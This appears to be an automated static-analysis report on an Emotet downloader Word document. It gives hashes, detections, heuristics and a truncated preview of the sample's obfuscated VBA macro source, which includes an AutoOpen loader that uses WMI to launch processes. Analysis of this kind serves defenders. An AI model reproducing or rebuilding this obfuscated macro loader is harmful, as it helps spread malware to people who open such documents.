Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 7e3b7bc7797f8d88…

MALICIOUS

Office (OOXML)

141.4 KB Created: 2019-09-16 12:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-02-04
MD5: 5bdc273bffdfcfd28b91a1b75c653d35 SHA-1: 3f8d7f911284d95df24712af3d5ce903572e46ef SHA-256: 7e3b7bc7797f8d8821b3376d04551d8f778b8eef12b8e418a125676931dd7c5b
382 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with a signature indicating it's a downloader for the Emotet family. Critical heuristics indicate the presence of an obfuscated VBA loader that uses `CreateObject` and WMI (`Win32_Process`) to launch processes, a common technique for executing payloads. The AutoOpen macro further suggests immediate execution upon opening.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7163044-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7163044-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10423 bytes
SHA-256: 9878ae35eedfa128683d0a962d1402a5c2edd7ff198b6853a31c023628665a73
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "k5E17t, 0, 0, MSForms, OptionButton"
Attribute VB_Control = "in2hTjd, 1, 1, MSForms, OptionButton"
Attribute VB_Control = "ljN8qiJD, 2, 2, MSForms, OptionButton"
Attribute VB_Control = "jmJ08ml, 3, 3, MSForms, OptionButton"
Attribute VB_Control = "RKliXIN6, 4, 4, MSForms, OptionButton"
Attribute VB_Control = "vVCHIja, 5, 5, MSForms, OptionButton"
Attribute VB_Control = "QrrO7jI, 6, 6, MSForms, OptionButton"
Attribute VB_Control = "GPBvBhk0, 7, 7, MSForms, OptionButton"
Attribute VB_Control = "M8nmFzF, 8, 8, MSForms, OptionButton"
Attribute VB_Control = "BazVqS, 9, 9, MSForms, OptionButton"
Attribute VB_Control = "sjDnoM, 10, 10, MSForms, OptionButton"
Attribute VB_Control = "O7qsVkh, 11, 11, MSForms, OptionButton"

Attribute VB_Name = "vwG5Gww"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "XrFtXU5q"

Attribute VB_Name = "HMGCkY0j"

Attribute VB_Name = "uzdOIc81"

Attribute VB_Name = "Fko8Bij"

Attribute VB_Name = "MHT8pjY"

Attribute VB_Name = "fcjKjS4"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "SHV6W8"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "dvt8idL"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YKkf9J"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mzc67opG"
Function Gji1JSJ()
     On _
  Error Resume Next
   qBWhmM = (Q3Nbkr + Rnd(611) + (4222 + Cos(8992 * Rnd(Vj2IATI) / 83 + Log(9130)) * 2 + 85))
   For Each iArs14 In DMkD685A
      For Each BVrY355a In WtgzQ71y4
         LnIAVE4 = xMfau5248 - ChrB(pvOb + Round(npy * ChrB(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(676 / 79)) / gEpc77 * Log(956 - Round(551)) / 993 + Oct(oVggW7) / 78 / 54 + DkPTA3642 / Tan(3) / xoJtPK2 / Log(87 / Fix(mNOJc3 / CInt(LtXxD6e6) + mCtDS996 - SQxNb0rO) + DVTJJR1 + xBkGD)
      Next
      Do
         zQqdist = 512 * ChrW(zPZaFMZ) - 9232 - Sin(zpXA5n74) - hRdz53zQ - EOPB1 / (Wuzct0 + CByte(693))
      Loop Until fYSpVZg Eqv oWbX
   Next
   Set UBONf40B = uswKir_r
qEEpmwL0 = rbOtHL + ThisDocument.M8nmFzF.Caption + ThisDocument.sjDnoM.Caption + ThisDocument.vVCHIja.Caption + vYT9lbp
     On _
  Error Resume Next
   iddZiC = (GzWUBo_ + Rnd(744) + (4222 + Cos(8992 * Rnd(DR4Uaa) / 83 + Log(9130)) * 2 + 85))
   For Each iArs14 In DMkD685A
      For Each BVrY355a In WtgzQ71y4
         LnIAVE4 = xMfau5248 - ChrB(pvOb + Round(npy * ChrB(KYoI8IEt)) / oZgH7909 + CDbl(qXfS4C1)) - Dzmx6W5 - Log(3 / Chr(676 / 79)) / gEpc77 * Log(573 - Round(551)) / 993 + Oct(oVggW7) / 78 / 54 + DkPTA3642 / Tan(3) / xoJtPK2 / Log(87 / Fix(mNOJc3 / CInt(LtXxD6e6) + mCtDS996 - SQxNb0rO) + 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 54272 bytes
SHA-256: c840ad8fc719fab88dd68fce7ff6c91dbdfa11ababd51c139aab0bb7659f3a5d
Detection
ClamAV: Doc.Downloader.Emotet-7163044-0
Obfuscation or payload: unlikely